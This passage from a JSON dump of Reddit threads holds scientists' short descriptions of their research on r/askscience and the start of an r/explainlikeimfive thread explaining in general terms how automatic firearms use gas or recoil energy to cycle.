appear very skewed as a result).\n\nWe find that many genealogies, such as those for influenza A subtype H3N2, seem to be consistent with very, very strong selection, and we have a hunch that this might be very widespread throughout the tree of life. This says something about whether the aforementioned \"neutral theory\" is really an appropriate framework for understanding most populations. Genetic *draft* (widespread hitchhiking), not genetic *drift*, may be the rule rather than the exception. This opens the door for a lot of new, exciting population genetics.", "I'm in the very early stages of doing a (hypothetical) analysis of how the Elven language evolved through Middle Earth's history using Indo-European languages as a framework. \n\nNot nearly as interesting out groundbreaking as some of you, but it should be fun for me.", "_Fast_ constraint-based type inference in the face of polymorphism.\n\n*SPLOOSH*", "I study anti-de Sitter backgrounds in supergravity, i.e. solutions to the bosonic field equations that preserve the symmetries of an [AdS space](_URL_0_). I'm particularly interested in those backgrounds that preserve at least one supersymmetry.\n\nLately, I've been working on figuring out the overall structure of the symmetries (both supersymmetries and isometries) these backgrounds preserve.", "I am interested in the limits of pulsar timing, where we try to use the pulses we observe from pulsars (they are like [lighthouse beams](_URL_1_) and we see a pulse every time they beam passes our line-of-sight) for tests of fundamental physics. One of the big experiments these days is in the detection of gravitational waves from supermassive black hole binaries in merging galaxies, which will cause the distance between us and a pulsar to change ever so slightly, the light travel time to change, and thus when we expect the pulses to arrive to change. The conventional goal we talk about is measuring the arrival times to within 10 nanoseconds, so what we'd like to be able to do is to predict when a pulse, which traveled for roughly a thousand years, arrives at our telescope to within 10 nanoseconds, and that's sort of the level of precision we need to detect gravitational waves.\n\nSo, this one project I'm working on is to understand the different errors that accumulate on short timescales (a ~1 hour observation) and where they come from. I'm looking at these timescales because you can ignore a number of effects that accumulate over long timescales, such as a changing interstellar medium through which our pulses travel, etc. As an example, many of you have probably seen Joy Division's [Unknown Pleasures album cover](_URL_0_), which actually shows individual pulses from one pulsar, B1919+21. Each individual pulse is very different from one another as you can see but the average pulse shape is extremely stable. It's sort of the difference between weather (each rotation of the pulsar) and climate (many rotations of the pulsar averaged together). Obviously, the drastic shape changes means that determining when each pulse arrives is problematic, but less so than one might think, because of the power of averaging to a stable shape.\n\nFor many years, we were limited by our instrumentation. For example, you can see the errors [here](_URL_2_), where in the top pulse, there's just random white noise added to each pulse. You'd think that would be terrible considering that we need to measure where the peak is, let's say, to about one millionth of a sample, but it turns out that for many of our pulsars today, the dominant error is actually is the \"jitter\" of the pulses. That's something I've learned from our sample of many pulsars. There are other effects as well. Figuring out what's going on has implications for current and future observing strategies (if you observe with better instrumentation, you actually don't get better precision then), pulsar emission (what's the underlying distribution of how things are jittering around), and gravitational wave detection (how badly do these errors affect us). So far, it seems like nothing is preventing us from getting down to 10 nanoseconds timing precision other than the amount of time observing but there are still a lot of other effects to test!", "I work on large scale analysis and optimization of engineering systems, mostly related to aircraft and spacecraft propulsion.\n\nThe day-to-day work mainly falls within the realm of software engineering. We link together separate simulation codes (at mixed fidelities) to represent an entire integrated system. Then, we apply various optimization methods to the system in order to study and improve performance (e.g. lighter weight, better efficiency, etc.)\n\nCurrently, my group is improving methods for multidisciplinary integration of trajectory analysis (pseudospectral control/collation based methods). We would like to improve the tools available to the point where the design of a fine-detail component of an airframe or engine can be simultaneously optimized together with an expected mission profile, economic considerations, etc.", "I am trying to predict and prevent vaccine scares, like the one we are currently experiencing for the MMR vaccine.\n\nStopping these scares gives us a better chance at eradicating a disease once and for all.\n\nAsk me some stuff, and I think I am doing an ama tomorrow on the same topic.", "I'm writing my thesis and working on a chapter right now about how to model a processor's cache as a system of partial differential equations. Doing so lets you get closed-form equations for how the cache performs under different access patterns. I'm not completely sure how this is useful (hence why I haven't already written a paper about it), but its neat to me.", "I'm working on two separate but related projects at the moment. I study the way in which fungal symbionts can either facilitate or deter the spread of invasive annual grasses in arid Western US ecosystems. I particularly focus on filamentous fungi which can function as endophytes in some grasses and parasites/pathogens in competitors. This largely involves: isolating fungi from the internal tissues of native and invasive grasses; culturing and identifying the fungi; assessing ability to infect live plants; and designing experiments to determine the fitness effects (biomass and fecundity metrics) of infection on hosts.\n\nI simultaneously work with an NSF-funded Research Coordination Network that is designed to promote and coordinate research on Social-Ecological Systems in complex mountain landscapes. My job with the RCN is to organize meetings, write funding proposals, and produce white papers/theoretical papers on specific, plant-related SES subjects. We are currently writing proposals and papers on Fire-Grazing-Wild Ungulate interactions on federal lands in the west and producing an SES framework for the study and management of invasive plant species across public/private boundaries.\n\nI have some pretty seriously multi-disciplinary educational training, which is why my research foci span the gap from plant microbiology to communication and project management. Turns out that having Math, English, and Ecology degrees wasn't as crazy as it sounded when I started the scattershot approach to education (study *everything* that sounded interesting).", "I study the properties of nano-scale magnetic systems which may eventually be used in hard disk drives to increase storage density, among other applications.  \n\nThe broadest category that I put myself in is experimental condensed matter physics. As the name implies, \"condensed matter physics\" technically means \"anything that's not a gas\" but this doesn't really capture what people really work on in this field. Some of the more popular topics these days range from semiconductor physics, magnetism, and exotic materials (\"hard\" condensed matter) to fluid dynamics, colloidal physics, and biophysics (\"soft\" condensed matter). But biophysics is more and more considered its own field now.  \n\nI work a lot in a clean room where I have to put on a funny white suit. Some of the stuff we do in there includes thin film growth by sputter deposition, thin film patterning using electron beam lithography and reactive ion etching, and electron microscopy (scanning electron microscopy, more specifically).  \n\nMy main tool in my research is a conductive atomic force microscope (C-AFM). This isn't a microscope in the traditional sense. Instead, an AFM consists of a tiny cantilever (~10 microns wide, ~100 microns long) with a sharp tip at the end of it. When the tip is brought very close to the surface of a sample (less than a nanometer), there are inter-atomic interactions between the tip and the surface. The forces resulting from these interactions cause the cantilever to bend. The bending of the cantilever is detected by bouncing a laser off the back of it and watching the reflected spot move on a detector. In this way, the topography of the sample surface can be mapped out. It's possible to measure height differences of less than 1 nm and in some special cases you can actually get atomic resolution.  \n\nIn a C-AFM, the cantilever is coated with a conductive coating and you can apply a voltage between the cantilever and your sample. If your sample is conductive, you can measure current flowing between your tip and your sample and you can get a map of the topography and current at the same time.  \n\nSo what does this have to do with magnetism? Well it turns out that the resistance of some magnetic systems can be a function of how the system is magnetized. Using C-AFM I can study the magnetization dynamics of very small systems by observing changes in the resistance.  \n\nEdit: [Here's](_URL_0_) some C-AFM data. (a) is the topography showing a bunch of pillars on a flat background. (b) and (c) show the current through these pillars in two different states. In (b) the resistance is lower than it is in (c).", "I'm working on developing heterogeneous catalysts that make use of [metal-organic frameworks](_URL_0_) as a solid-state support for transition-metal complexes. Specifically, I'm trying to design efficient catalyst systems that allow for catalyst recycling, particularly with the 3rd-row metals.\n\nThe compounds that I'm interested in making are industrially relevant polymers that have interesting optical and/or electronic properties. While looking for efficient systems, I'm also investigating the ability to control polymer structures using MOFs. My current and previous group members have had a lot of success in this area when performing radical polymerizations, but I'm the first in our group to pursue transition-metal catalyzed reactions.", "E. coli O157:H7 is a particularly virulent pathogen that causes severe disease that is commonly transmitted by food and water. You might remember it from the spinach outbreaks. Some cases prove to be fatal.\n\nI'm working with E. coli O157:H7 genomes to look for patterns in genomes, geography, and time. My current lab is using new sequencing methods, and a lot of what I do is sequence QC and bioinformatic analysis.\n\nA recent problem I've had is that our sequencing data has relatively poor coverage of virulence plasmids (these are non-genomic DNA sequences that contain things that help bacteria make you sick), so I might be going back to the bench here soon (HOORAY!!! I miss the bench!) to do some CsCl gradients, or something, and isolate a few dozen (hundred?) virulence plasmids for sequencing :)\n\nAlso, stop reading this and go learn some Python or Perl!", "I'm currently working on Ophthalmology projects involving optical coherence tomography (OCT) angiography.  OCT is \"similar\" to ultrasound, but it uses broadband light and interferometry to produce [depth-resolved reflectivity profiles](_URL_0_).  OCT angiography refers to an extension of OCT that allows for the [visualization of vasculature](_URL_1_).\n\nThe project that I spend most of my time on is testing how well OCT angiography works in the diagnosis and monitoring of abnormal vessel growth called choroidal neovascularization in age-related macular degeneration.  What that means is I look at the volumetric structure and angiography data from patients and determine the workflow for how to analyze the data.  It also means I try to figure out ways to account for or remove artifacts and noise that result from the data collection process.", "I study public health, specifically health information systems and disease surveillance. I'm currently in Liberia on a health systems strengthening project, developing a disease surveillance program which can operate in areas without ICT infrastructure, and can quickly respond to priority and emerging diseases. The reoccurence of Ebola in Liberia over the past few days, now at three cases, is evidence of the need for more public health investment in these areas in fragile states.", "I study molecular pathology. I'm currently working on a prostate cancer study. We are building a tissue microarray (lots of tiny cores of cancer tissue arrayed in a block of wax, so every time you cut a thin section off, you see a dot representing each cancer) and using antibodies to look for various proteins involved in cancer growth, prostate differentiation, etc.\n\nWe're scanning all the sections into a whole slide imaging microscope and will train it to identify the cancer semi-autonomously and then score the results.\n\nThen we'll take all the data and compare it to the patient outcomes (labs, surgeries, deaths, etc)\n\nThe goal is biomarker discovery: what can this tumor's protein expression tell us about how this patient might do after surgery. Will they live 10 years? Will they develop metastatic disease?", "I am studying compact objects left over from supernovae by looking for a new population of black holes that are very slowly consuming material from a companion star. All of the black holes that we have mass estimates for have been found in an X-ray outburst where they shine 10 million times brighter than the Sun before settling back down to a quiet state. This introduces a selection bias towards black holes with high outburst duty cycles.\n\nRight now, all of the neutron stars we know of are below ~2 solar masses, while all the black holes we know of are bigger than ~5 solar masses. From 2-5 solar masses, we know of ZERO compact remnants of supernovae. If that's real, then it has big implications for how supernovae happen. But it might not be! Low mass black holes may have lower duty cycles than higher mass black holes, so by finding them before they go into outburst, we can perhaps find objects in the mass gap and get a better measure of what the remains of a supernovae are! There's still a lot more to consider, of course, because the black holes we find this way are still in close binaries, and the binary evolution necessary to end up that way could change the mass distribution we *see* as well. So what we end up having is a joint lever on binary evolution + supernovae physics. ", "I am working on [this](_URL_1_).\n\nOK seriously though. :-P I doubt that anyone here wants to read our paper, so here is the ELI5 version: as my flair says, I work in particle phenomenology, which means finding ways to describe the behavior of particles, but not starting from pure theoretical ideas. Instead, it's more like using the results of one experiment, along with some math, to predict the results of another experiment. In my case, the particles I describe are quarks and gluons, the ones that make up protons and neutrons.\n\nWhen they collide protons and atomic nuclei at a facility like the [LHC](_URL_2_), in some number of collisions a [pion](_URL_0_) (a type of particle) with a very high energy comes out. The pion is created from the collision between a quark or gluon from the proton, and a quark or gluon from the atomic nucleus. If the quark or gluon from the proton has a lot of forward momentum, and the one from the nucleus has very little forward momentum, the pion will come out in nearly the same direction as the proton was moving. So the rate at which this happens, over many trillions of collisions, tells us about how many low-momentum gluons there are in a nucleus.\n\nThe paper I linked tests a particular model of the density of low-momentum gluons. We take a formula for the gluon density, plug it into a different formula, and get a prediction for how often a pion should come out in a certain direction. And it actually works! The prediction matches the actual result from the LHC very well, at least for certain conditions, which are the ones we care about most.", "I zap Lava with Electricity!  \nMore precisely - high-temperature electrochemistry, a lot of thermodynamics involved. The idea is to understand the kinetics and thermodynamics of processes occurring when you oxidize/reduce metals in molten rocks, so we can better design and use such hellish processes.", "My research project in general is to design a new device (two devices really, but I'm focusing on one at the moment) to study the properties of complex fluids at high frequency.  \"Complex fluid\" is a general term to describe fluids that are non-Newtonian.  This could mean they are shear-thickening or shear-thinning, i.e., the fluid's viscosity increases or decreases with increasing shear.  Or it could mean the fluid is viscoelastic, meaning it exhibits both viscous flow-like behaviour and elastic behaviour depending on the situation.  A good illustrative example is silly-putty, which many of us have played with at one point or another.  If you leave silly-putty on its own, it flows gradually over time into a puddle, or into the carpet, or through a grate.  It experiences a very small shear from gravity, and in response to this shear it behaves much like a viscous fluid.  However, if you squish it into a ball and throw it at a wall it bounces back.  Under these conditions it behaves more like an elastic solid.\n\nMany fluids exhibit viscoelastic properties, virtually any polymer solution or polymer melt will be viscoelastic.  The properties of these complex fluids depends on the internal structure of the fluid.  You could have a colloidal suspension that exhibits shear thickening behaviour because when you shear it the particles rub up against each other and get jammed.  Or you can have shear-thinning behaviour because a network of polymers is being stretched and ripped apart by the shear. You could imagine where elastic behaviour could come from by visualizing polymer bonds or colloidal particles having elastic nature of some sort. \n\nThe standard method for probing these properties is to use a shear rheometer.  You place the fluid inbetween two plates and then control either the applied strain and measure the stress on the plate, or the applied stress and measure the resulting strain.  A common experiment is to oscillate one of the plates at a fixed frequency and amplitude (controlled strain), and measure the resulting stress, which will also be sinusoidal in nature, but with a phase shift.  The stress amplitude and phase let you determine the viscous and elastic moduli of the fluid.  However, and here is where my interest lies, shear rheometers are limited in how high a frequency they can produce.  The best rheometers out there are limited to 150 Hz, even then the data is unreliable.  The limitation comes from the inertia of the tool used in the shear rheometer.  There is simply a physical limitation on how fast you can oscillate a tool that is as large as it is.  Frequency dependent measurements give us information on the internal structure of these fluids. \n\nI'm interested in probing fluid properties at higher frequencies.  To do this I exploit the mechanical resonance of a small-diameter wire under tension.  I can tune the resonance frequency by changing the applied tension (think guitar string).  To vibrate the wire I pass an alternating current through it and stick it in a magnetic field.  By measuring the voltage across the wire I can observe its resonance behaviour. Then I place it in a fluid, in the magnetic field. The shape of the resonance curve is influenced by the viscous and elastic properties of the fluid.  For a Newtonian fluid a higher viscosity will broaden the resonance curve and shift it to lower frequency.  When you introduce elasticity things get strange, which is what we're trying to understand right now.  Generally speaking increasing elasticity should shift the resonance to higher frequency and not influence the width of the curve.  We are observing a clear indicator of elasticity shifting the resonance frequency, but it's also influencing the curve in a way we don't understand.  \n\nWell that was longer than I was expecting. Feel free to ask questions.", "I'm usually a medical mycologist that works on a couple of different fungi that infect humans. I'm taking a year in a plant pathology lab to learn some bioinformatics. I'm currently comparing the genomes of three fungi that infect plants. Basically, I'm looking at similar genes that are shared among the three fungi I work with that are not found in other fungi and how they may be unique to the biology of our fungi. I'm also working on the genome structure and trying to understand how that plays into the development/evolution of these unique genes.", "I am an epileptologist, and my chief interest is in treating patients with difficult-to-treat epilepsy. However, a fair amount of my practice also involves investigating paroxysmal phenomena in order to diagnose or rule out epilepsy as a cause. Patients with events that superficially resemble convulsions or staring fits, but who don't have an underlying organic cause, are said to have psychogenic non-epileptic seizures (PNES). This is widely thought to be a symptom of conversion disorder.\n\nMy collaborator (a neuropsychologist) and I are assembling a case series of patients with PNES and matched controls with epileptic seizures (as well as patients with both) to test our hypotheses about the extent early emotional trauma plays in development of the underlying conversion disorder, and whether there are differences in risk factors between the sexes.", "I'm a science planning  &  sequencing engineer for the [Dawn spacecraft](_URL_0_) in the asteroid belt. Currently we're exploring the dwarf planet Ceres. My role is to write sequences (essentially simplistic code) that help achieve the science observations. I also do all sorts of other tasks on the mission like updating procedures, running sequences through our testbed, etc. We just finished our second science orbit phase earlier this week. In August we'll reach the next orbit, and finally in December we'll reach our final, lowest orbit. This final orbit will be closer to Ceres than the ISS orbits Earth.\n\nBefore Dawn, I worked on several Mars missions studying the Martian atmosphere. In particular I studied nighttime optical depth. Optical depth is a proxy to tell you how much \"stuff\" is in the atmosphere. I looked in particular at night to see if dust was settling out of the atmosphere and if clouds were forming.", "I study somatic mutation in the human brain -- mutations that occur in one or more of the cells in your body, but that have occurred during your lifetime and weren't passed down by your parents. \n\nAlthough somatic mutation is important for a number of diseases (including, most famously, cancer), we don't have a good sense of how often benign or silent somatic mutations are occurring in individual cells of the body. This is because a somatic mutation that happens in only one cell is really hard to \"see\" by traditional sequencing methods, which require a lot of DNA. My lab has developed methods to sequence single human neurons, allowing us to identify mutations that have happened only in those single cells, which have been alive and out of the cell cycle almost as long as the individual him/herself has. \n\nNow that we can sequence single neurons, we can look at the somatic mutations in those neurons and get an idea of the rates and kinds of mutations that occur in normal cells. We can also use them as endogenous markers to trace the relationships between cells in the human brain, much the same as we can use virus or plasmid transfection to study these relationships in experimental organisms.", "I am currently working on a method to recover the original signal from a an array of magnetic sensors that are embedded inside a metal liner that is being used to contain a plasma. The magnetic sensors are surrounded by bulk Aluminum and Copper, with Stainless Steel and Tungsten coatings in certain areas.\n\nBasically we are generating a broad band field with a known geometry inside the flux conserver and measuring the frequency response. The trick is that we currently cant properly excite over the full range of relevant frequencies that are produced in the plasma, and so we need to fit the response to a model in order to extrapolate.", "I'm working on a new algorithm to reveal multidimensional correlations.\n\nMy analysis revolves around finding a peak in a spectrum. We know where the peak *should* be, but there's a whole load of noise and background around it. We have a *lot* of other detectors that are correlated with the spectrum content, so we can set conditions on *that* detector information (eg. if the peak only appears when the particle is in the middle of a certain detector, then we can look at that detector and count out everything where the particle hit the edge). Now, the problem is that sometimes these correlations aren't linear. In fact a lot of the time the correlations make sense, but aren't tremendously clear in precise, practical terms. For linear correlations I have already produced a method that will analyse the integral of the peak above background, and provide an evaluation of *precisely* where to set the condition. It works *amazingly well*, but it doesn't help when the condition needs to be multidimensional. In both cases there are complications and conditions when it comes to making these cuts, and the eventuality is that creating a code to do this very quickly becomes immensely complicated.\n\n[Here](_URL_1_) is an example of the algorithm doing a test-run in a simplified scenario, and it's... well, not *quite* working, but it's a start. There are one or two glitches present, but the core is doing what it should be, which is nice.\n\nThe whole thing sounds a bit contrived when more often than not it's sufficient to simply make a graphical cut by eye where *most* of the particles are in each detector, but even the linear correlation method I created has demonstrated that if shown how, a computer will more often than not produce a far better result than a human can.\n\nEdit: It's finished! Whooo [look at the pretty pictures it makes.](_URL_0_)", "So I don't want to talk about what I'm doing IRL right now, because it's boring.\n\nInternet-wise I'm working on a physics FAQ for semi-personal/semi-reddit usage. It's [here](_URL_0_), if anyone wants to contribute answers. I'm going to present this in askphysics this evening possibly.\n\n < /shameless self promotion > ", "The visible and near infrared spectral effects of [space weathering](_URL_0_) on the surface of airless bodies.", "I'm writing a compiler which will turn an abstract description of a series of [quantum logic gates](_URL_0_) into real control wave forms (voltages on wires) for [superconducting qubits](_URL_1_).\n\nThis is rev2 of the compiler. I wrote the first version as a grad student in [John Martinis's lab at UCSB](_URL_2_). I'm doing essentially the same kind of work now but under the Google banner, which is awesome. Anyway, we've outgrown version 1 of the compiler and need something a bit more sophisticated. At the moment (before I started procrastinating on reddit) I'm writing a design proposition document for the rest of the group to critique before we write the actual code. This is essential because writing code in a vacuum almost guarantees that it doesn't satisfy the needs of everyone who wants to use it.\n", "I work on looking for radio transients in the low frequency sky, which is a fancy way of saying \"things that turn on and off instead of being there just below your FM radio dial.\"  We are building a system where we can take radio images of the entire sky every second in the radio and then run it through a correlator which then tells us if we've found a signal that varies from the previous images or not!\n\nLots of things should cause these signals at our frequencies- giant flares from stars are the bread and butter, but also more exotic stuff like black holes eating stars and strange pulsars and things like that should occur.  No one really knows the full extent of transient signals though, which is exciting to me.", "I worked on a multi stage water treatment system for remediating hydrofracturing wastewaters. I did reactor modeling, design work for reactor vessels and heat exchangers, and some work with thermo cycle efficiency analysis. About half the time I was a mechanic trying to just keep the thing running as 90% of it was sort of an experimental, prototype system. \n\nNow I mostly look at tracking radioisotopes in the environment as a result of hydrofracturing operations. So most of that has to do with building accurate models for interpreting gamma spec data. ", "Since northern long eared bats were recently listed as endangered, due to wns, I'm spending a lot of my nights mist netting for common and endangered bats. When not doing that, I'm working on wetland inventories throughout the eastern US. ", "I'm currently working on graded alloy systems, namely Ti-Nb-Zr-Ta (TNZT) and certain HEA systems via Laser Engineered Net Shaping (LENS) deposition. Essentially, this system is 3D printing with metal. \n\nWhat is nice about this system is that it allows us to change composition on the fly, so we can create fully dense, variable composition samples. Once we have that, we can pretty much study an entire alloy system on one sample. In other words, instead of having to make ~10 samples via arc melting to study something like Alx-Cu-Cr-Co-Fe-Ni (where x varies from 0.0 to 3.0), we can deposit one sample that contains all these compositions and analyze all the microstructures in the SEM without having to take out samples. \n\nAnyway, We're still studying the effects of LENS deposition on microstructure and comparing it to traditionally processed materials. So far, the results look promising, although I do have problems with pesky niobium not wanting to melt, so this summer I plan to install a fiber optic laser in conjunction with the laser already on board.\n\n\n\n", "I'm currently working on how people represent and process multiword expressions (basically, any piece of language longer than one word). Right now I'm setting up an experiment to test whether there are any differences in how strongly people activate single-word representations if the word is embedded in a high-frequency or low-frequency expression!", "I'm developing transgenic approaches to deliver a new class of nematicide (which kills plant parasitic nematodes; responsible for 12.3% reduction in crop yields globally, about \u00a3100 billion in real terms). My favourite is a rhizobacterium (bacteria which live at the root-soil interface) which has been engineered to secrete the peptide nematicide into the soil. Potentially a big leap for global agricultural productivity as you can apply these bacteria to any crop (non-GM food stuff). The work is largely funded by the Bill and Melinda Gates Foundation - a really cool organisation!", "My thesis work is finding the eastern extent of the Garlock fault in southern California.  The Garlock fault runs roughly east-west which is pretty unique for faults in California.  [Maps that show the Garlock fault have it just kind of ending.](_URL_0_)  Geologists previously were content believing that it was accommodated by the Death Valley Fault Zone but it's been shown that there has been too much displacement on the fault for that to make sense.  The eastern extent is obscured by basin fill so I'll be using a couple geophysical methods to try to find it.\n\nMy study will implement measuring changes in the earth's magnetic field as well as measuring the value of resistivity (using very-low-frequency methods) to try to delineate where the fault is located at depth. From all this data I'll generate a 3D model of what the subsurface looks like and hopefully get an idea of the characteristic of the fault.  If the fault is as long as some of the research suggests it would be capable of generating a M6.8 earthquake, which is pretty significant.", "First off, I'm excited to join r/askscience's discussion panel.  Nice to meet you all!\n\nI am currently investigating how the brain's taste system processes taste information and generates complex neural codes (i.e. codes that go beyond \"more stimulus = higher firing rate\").  I'm using optogenetic stimulation of a number of cortical and subcortical inputs to the nucleus of the solitary tract (NTS), the primary sensory nucleus for taste, in combination with single unit and LFP recordings to investigate whether synchronization of the activity of individual neurons (especially neurons that are closely timed to licking) is important to the ability of the subject to generate finely structured temporal codes and/or the ability of the subject to make difficult taste discriminations.\n\nCurrently, I am more specifically investigating the hypothesis that inputs from the lateral hypothalamus to the NTS are responsible for entraining activity in some NTS neurons to the lick cycle (which has a natural frequency of about 7 Hz), and that these neurons act as a sort of \"system clock\" for creating temporal paterns of neural activity (i.e., that other neurons may convey information by when they fire relative to the \"clock\" signal)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.hep.lu.se/atlas/thesis/egede/thesis-node10.html", "https://terascale.physik.uni-freiburg.de/Forschung/images/sm_htautaull_vbf_eventdisplay_fig_27/image", "https://upload.wikimedia.org/wikipedia/commons/thumb/7/78/BosonFusion-Higgs.svg/500px-BosonFusion-Higgs.svg.png", "http://pdg3.lbl.gov/atlasblog/wp-content/uploads/2012/08/Higgs_bratio.jpg"], [], ["http://kepler.nasa.gov/images/mws/lightcurve5b.gif"], ["https://en.wikipedia.org/wiki/Weakly_interacting_massive_particles"], [], [], [], ["https://en.wikipedia.org/wiki/Anti-de_Sitter_space"], ["http://i1.wp.com/adamcap.com/wp-content/uploads/2011/05/unknown-pleasures-album-cover.jpg", "http://www.ligo.org/science/Publication-S6VSR24KnownPulsar/Images/lightnew.gif", "http://www.aanda.org/articles/aa/full/2004/02/aaff231//img7.gif"], [], [], [], [], ["http://i.imgur.com/HZKhfOL.png"], ["https://en.wikipedia.org/wiki/Metal-organic_framework"], [], ["http://www.retinareference.com/anatomy/oct.jpg", "http://optovue.com/products/angiovue/"], [], [], [], ["https://en.wikipedia.org/wiki/Pion", "http://arxiv.org/abs/1505.05183", "https://en.wikipedia.org/wiki/Large_Hadron_Collider"], [], [], [], [], ["http://dawn.jpl.nasa.gov/"], [], [], ["http://gfycat.com/AngryMarvelousHorsefly", "http://i.imgur.com/53tk136.jpg"], ["https://rantonels.github.io/capq"], ["https://en.wikipedia.org/wiki/Space_weathering"], ["https://en.wikipedia.org/wiki/Quantum_gate", "https://en.wikipedia.org/wiki/Superconducting_quantum_computing", "http://web.physics.ucsb.edu/~martinisgroup/"], [], [], [], [], [], [], ["http://digital-desert.com/earthquake-faults/400-faults_names_large.jpg"], []]}
{"q_id": "4bea0l", "title": "where do automatic machine guns get the energy to keep shooting bullets, when there is no external source of energy provided to it?", "selftext": "I mean, if I think of a simple handgun, I squeeze the trigger which provides this energy for the bullet. But in automatic machine guns there is no such source, right? Almost, perpetual motion machine-esque, in my mind (Also, sorry if this is an incredibly dumb question, but I have next to no knowledge of guns)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bea0l/eli5_where_do_automatic_machine_guns_get_the/", "answers": {"a_id": ["d18bw5i", "d18bwxe", "d18bxdq", "d18c3jh", "d18ca8f", "d18cair", "d18cba8", "d18ceag", "d18ck25", "d18crwo", "d18dzqz", "d18fk53", "d18fm7m", "d18jwvo", "d18mipd", "d18p7ge", "d18rgnx", "d18yk6k"], "score": [15, 31, 7, 2, 2, 3, 4, 2, 3, 2, 2, 2, 4, 3, 3, 2, 2, 2], "text": ["The explosion if the round and the recoil provide the energy to fire the next round.\n\nThink in your car the starter motor is the beginning but once the engine is firing it will keep going.\n\nSame concept with a gun. ", "All of the energy is in the cartridge. In a semi automatic pistol the recoil of the explosion shoots the bullet and causes the slide to move backwards. In a machine gun some of the expanding gas is diverted into a piston which operates the reload mechanism. There is a lot of energy contained in a cartridge.\n\n & nbsp;\n\nEdit: also its not a stupid question. I had always had bb guns and nerf guns as a kid. So it took me a while to realize how a real gun operates and shoots so fast.", "You are providing the energy in the form of the bullet, which contains highly explosive gunpowder.  Your trigger provides the energy for a hammer to strike the bullet.  This explosion sends the hammer back with force, which compresses a spring-like structure, which conserves the energy and sends the hammer back up to strike the next bullet.", "You'll have seen videos of big anti-aircraft guns firing and the huge recoil and shock-absorption systems those things have - the barrel lurching backwards with the force of the shot. \n\nAutomatic weapons use that energy to actuate the mechanism that loads the next round. ", "You squeeze the trigger, the cartridge fires, action slams back and ejects the spent cartridge, and also cocking the firing pin.  The action slides back forward, loading the next round.  Pull the trigger again to repeat.\n\nThe only difference in a fully automatic gun, is that the movement where the action comes back forward to load the spent round, also does the equivalent of pulling the trigger again as soon as the round is chambered. (not quite, but this is the ELI5 answer)", " >  I squeeze the trigger which provides this energy for the bullet.\n\nHere's your problem.  Pulling the trigger isn't what provides the energy to the bullet.  The energy for the bullet comes from the explosive powder stored in the cartridge.  When this explosive is set off, the bullet flies forward.  \n\nThink of a gun's trigger like the gas pedal on your car.  The energy to make the car go forward doesn't come from your foot on the pedal.  It comes from the gasoline.  Your foot on the pedal just regulates the flow of gasoline into the engine.", "In most guns, pulling the trigger does not provide the energy to fire the bullet. When you load the first round in most guns except revolvers, the process of manipulating the action (the slide in handguns) compresses a spring.\n\nIn revolvers, pulling the hammer back will compress that spring. Some revolvers can also do this with a much heavier trigger pull.\n\nBy pulling the trigger, it releases the spring, which pushes a firing pin into the primer of the cartridge. (In a gun with a hammer, the spring pushes either the hammer directly into the primer or into a firing pin.) The primer explodes, igniting the gunpowder and propelling the bullet.\n\nIn automatic or semi-automatic guns, the explosion also cycles the action, loads the next round in and compressed the spring. Automatics will then let the spring decompress, repeating the firing process as long as the trigger is depressed. Semi-automatic guns require you to release the trigger and pull it again to fire the next round.", "Ever shot a gun?  They have a kick (recoil.)  Now imagine placing that gun on a little car on a track and fire it... the car will go backward.  Now put a spring and some linkages on it and that backward motion can do some mechanical work.  Now put all that on a handle with a trigger and a stock.  The bullet goes bang, pushes back on the bolt (part that holds the bullet in place) bolt goes backward from recoil.  That motion is cocking the hammer back and loading the next bullet, and ejecting the casing of the just-fired bullet. \n\nSome more modern semi-auto and full-auto guns use some of the pressurized gas (same gas that is sending the bullet down the barrel) to drive the bolt backward. ", "What you are referring to is a Gas Operated System. The gases from the fired shot (hammer ignited the cartridge when trigger is pulled), the gas kind of makes a Uturn and pushes the bolt back and ejects the spent casing, and when that happens a new round is chambered and then fired. ", "Their is sufficient energy from [recoil](_URL_0_) to drive the mechanism on an automatic or even semi-automatic gun. ", "Your example of the simple handgun is not quite right. There is energy stored in the bullet's cartridge in the form of gun powder. When you squeeze the trigger it ignites the gun powder which propels the bullet forward. Think about how much energy is imparted with the flick of your finger. Not nearly enough to send a bullet off at faster than the speed of sound.\n\nWith automatic weapons, some of that energy being released is captured to effectively \"pull the trigger\" on the next round.", "The energy comes from the gunpowder. Pulling the trigger simply strikes the primer, which explodes; propelling the bullet out of the barrel. A machine gun simply does this until you release the trigger.", "It may be easier to clue you into what's happening by considering one rifle, fired in two separate ways.\n\nConsider the M16 military rifle. For the purposes of this answer, we will consider semi-automatic and automatic modes only.\n\nIn semi-automatic fire, pulling the trigger moves a part called the [*disconnector,*](_URL_3_) moving a small tab on the disconnector away from a notch on the [*hammer.*](_URL_1_) The hammer, under spring tension, flies up and strikes the *firing pin,* setting off the round. The force of the expanding gas drives the working parts of the rifle (the BCG, or [*bolt carrier group*](_URL_0_)) backward, forcing the hammer down. On its way down, it catches on that hook on the top of the disconnector, stopping it from firing again without releasing the trigger and pulling it again.\n\nIn full-auto mode, rotating the selector switch pushes the disconnector down so that the hook no longer catches the hammer. This time, a tab of metal called an *auto sear* sits behind the hammer. When the trigger is pulled, the hammer flies up and the BCG is forced backward, instead of being caught by the hook, the auto sear tips forward, catching part of the hammer. *But,* when the rear end of the BCG hits the auto sear, it knocks it off of the hammer. Under spring tension, the hammer flies forward again.\n\n[This video shows you in graphic form what I've described above.](_URL_2_)\n", "There are multiple systems where a portion of the gas or kinetic energy from the burning powder or expanding cartridge gets cycled back into the action. Here are a few examples:\n\nGas Direct Impingement: AR15\n\n* Hot gas made by the burning powder pushes the bullet out. There's a hole in the barrel that vents out a tiny bit of this gas and cycles it back to the gun. At the end of the bolt (the thing that locks to hold the cartridge) is a small cup that gets pushed, acting like a piston and causing the gun to unlock and cycle. This system puts dirty hot gas back into the gun.\n\nIndirect Gas/ Piston: AK47\n\n* Starting the same way as above, the gas pushes the bullet out, some of it is vented from a hole in the barrel into a chamber that has a piston. The gas pushes the piston, which is connected to the bolt. Causing it to unlock and cycle. This system vents the dirty hot gas outside of the gun, making the insides of the gun slightly cleaner.\n\nBlowback: Pistols, some submachine guns. \n\n* This system works by using the cartridge as a piston. When the gun is fired, the bullet works like a seal in the barrel. The hot gasses are pushing forward and back. When the bullet is towards exit, the pressure spikes the highest and pushes back on the cartridge too. The cartridge pushes against the action cause it to unlock and cycle the next round. ", "\"No such thing as a stupid question,\" my old teacher would say.  And then he would turn to the rest of the class and say \"Does anybody else have a stupid 